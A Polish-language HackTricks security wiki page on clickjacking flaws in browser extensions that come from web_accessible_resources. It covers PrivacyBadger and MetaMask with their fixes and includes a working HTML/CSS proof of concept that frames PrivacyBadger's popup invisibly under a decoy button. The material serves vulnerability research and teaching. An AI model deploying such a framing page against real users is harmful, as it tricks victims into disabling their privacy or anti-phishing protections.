7.3 KiB
BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
Ta strona będzie wykorzystywać lukę ClickJacking w rozszerzeniu przeglądarki.
Jeśli nie wiesz, czym jest ClickJacking, sprawdź:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Rozszerzenia zawierają plik manifest.json
, a ten plik JSON ma pole web_accessible_resources
. Oto, co mówią dokumenty Chrome:
Te zasoby będą dostępne na stronie internetowej za pośrednictwem adresu URL
chrome-extension://[PACKAGE ID]/[PATH]
, który można wygenerować za pomocąextension.getURL method
. Zasoby na liście dozwolonych są serwowane z odpowiednimi nagłówkami CORS, więc są dostępne za pośrednictwem mechanizmów takich jak XHR.1
web_accessible_resources
w rozszerzeniu przeglądarki nie są dostępne tylko przez sieć; działają również z wbudowanymi uprawnieniami rozszerzenia. Oznacza to, że mają zdolność do:
- Zmiany stanu rozszerzenia
- Ładowania dodatkowych zasobów
- Interakcji z przeglądarką w pewnym zakresie
Jednak ta funkcja stwarza ryzyko bezpieczeństwa. Jeśli zasób w web_accessible_resources
ma jakąkolwiek istotną funkcjonalność, atakujący mógłby potencjalnie osadzić ten zasób w zewnętrznej stronie internetowej. Nieuważni użytkownicy odwiedzający tę stronę mogą nieświadomie aktywować ten osadzony zasób. Taka aktywacja może prowadzić do niezamierzonych konsekwencji, w zależności od uprawnień i możliwości zasobów rozszerzenia.
Przykład PrivacyBadger
W rozszerzeniu PrivacyBadger zidentyfikowano lukę związaną z katalogiem skin/
, który został zadeklarowany jako web_accessible_resources
w następujący sposób (sprawdź oryginalny post na blogu):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ta konfiguracja prowadziła do potencjalnego problemu z bezpieczeństwem. Konkretnie, plik skin/popup.html
, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w iframe
. To osadzenie mogło być wykorzystane do oszukania użytkowników, aby nieświadomie kliknęli "Wyłącz PrivacyBadger dla tej witryny". Taki krok naruszyłby prywatność użytkownika, wyłączając ochronę PrivacyBadger i potencjalnie narażając użytkownika na zwiększone śledzenie. Wizualna demonstracja tego exploit'u jest dostępna w przykładzie wideo ClickJacking pod adresem https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Aby rozwiązać tę lukę, wdrożono proste rozwiązanie: usunięcie /skin/*
z listy web_accessible_resources
. Ta zmiana skutecznie zminimalizowała ryzyko, zapewniając, że zawartość katalogu skin/
nie mogła być uzyskiwana ani manipulowana za pomocą zasobów dostępnych w sieci.
Naprawa była prosta: usuń /skin/*
z web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Przykład Metamask
A post na blogu o ClickJacking w metamask można znaleźć tutaj. W tym przypadku Metamask naprawił lukę, sprawdzając, czy protokół używany do uzyskania dostępu to https:
lub http:
(a nie chrome:
na przykład):
![](/Mirrors/hacktricks/media/commit/2638f67c730629ec8648f30cf12c6fb1354929a2/.gitbook/assets/image%20%2821%29.png)
Inny ClickJacking naprawiony w rozszerzeniu Metamask polegał na tym, że użytkownicy mogli Kliknąć, aby dodać do białej listy, gdy strona była podejrzana o phishing z powodu “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to wykorzystać, pokazując coś normalnego, aby ofiara kliknęła, aby dodać ją do białej listy, nie zauważając tego, a następnie wracając do strony phishingowej, która zostanie dodana do białej listy.
Przykład Steam Inventory Helper
Sprawdź następującą stronę, aby zobaczyć, jak XSS w rozszerzeniu przeglądarki zostało połączone z luką ClickJacking:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Referencje
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.